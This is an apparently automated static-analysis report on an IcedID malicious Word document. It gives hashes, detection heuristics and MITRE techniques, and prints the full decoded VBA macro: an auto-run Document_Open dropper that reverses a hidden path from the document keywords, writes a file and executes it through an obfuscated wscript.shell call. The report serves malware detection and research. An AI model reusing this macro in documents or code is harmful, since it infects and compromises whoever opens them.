IcedID — Office (OOXML) malware analysis

Static analysis result for SHA-256 47f68c0e165da262…

MALICIOUS

Office (OOXML)

34.1 KB Created: 2021-11-01 04:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-11-20
MD5: 2f7f1ad981f2f62d6e5151a1865aa491 SHA-1: e0d7416d8e1abc7cda1e792c4df55b2574bb128b SHA-256: 47f68c0e165da262427632c9594603b5bb4a7b7b3686b85cbaa87e9967b40a27
202 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as IcedID by ClamAV. It contains a VBA macro that executes a Document_Open subroutine. This subroutine calls a function that uses CreateObject to instantiate a 'wscript.shell' object, which is then used to execute 'explorer.exe' with a path derived from the document's keywords. This indicates a downloader or dropper functionality.

Heuristics 6

  • ClamAV: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.IcedID-8ff0f02ff0876072-9950256-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1012 bytes
SHA-256: ef6b27ac54d77ed03619c1f8602fe4ec8803e25a321d857dfbe361f33808ddc0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function keywords()
With ActiveDocument
dowPow = .BuiltInDocumentProperties("keywords").Value
End With
keywords = StrReverse(dowPow)
ActiveDocument.Content.Find.Execute FindText:="_f", ReplaceWith:=nextNext, Replace:=wdReplaceAll
End Function
Public Function s(dowLovePow, youGirlDoor)
Set doorNextLove = CreateObject("wscr" + youGirlDoor + "ell")
doorNextLove.exec "explorer.exe " & dowLovePow
End Function
Sub document_open()
main.karoline ("")
End Sub

Attribute VB_Name = "main"
Public Sub karoline(karolLoad)
Dim powNext As String
powNext = ""
doorKarolPow = ThisDocument.keywords
ActiveDocument.SaveAs2 FileName:=doorKarolPow, FileFormat:=wdFormatText
ThisDocument.s doorKarolPow, "ipt.sh"
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15360 bytes
SHA-256: aa2e1d43ff8468560efe5c08e384c638d43d3dc89f7429408cad756d4a82e9ec

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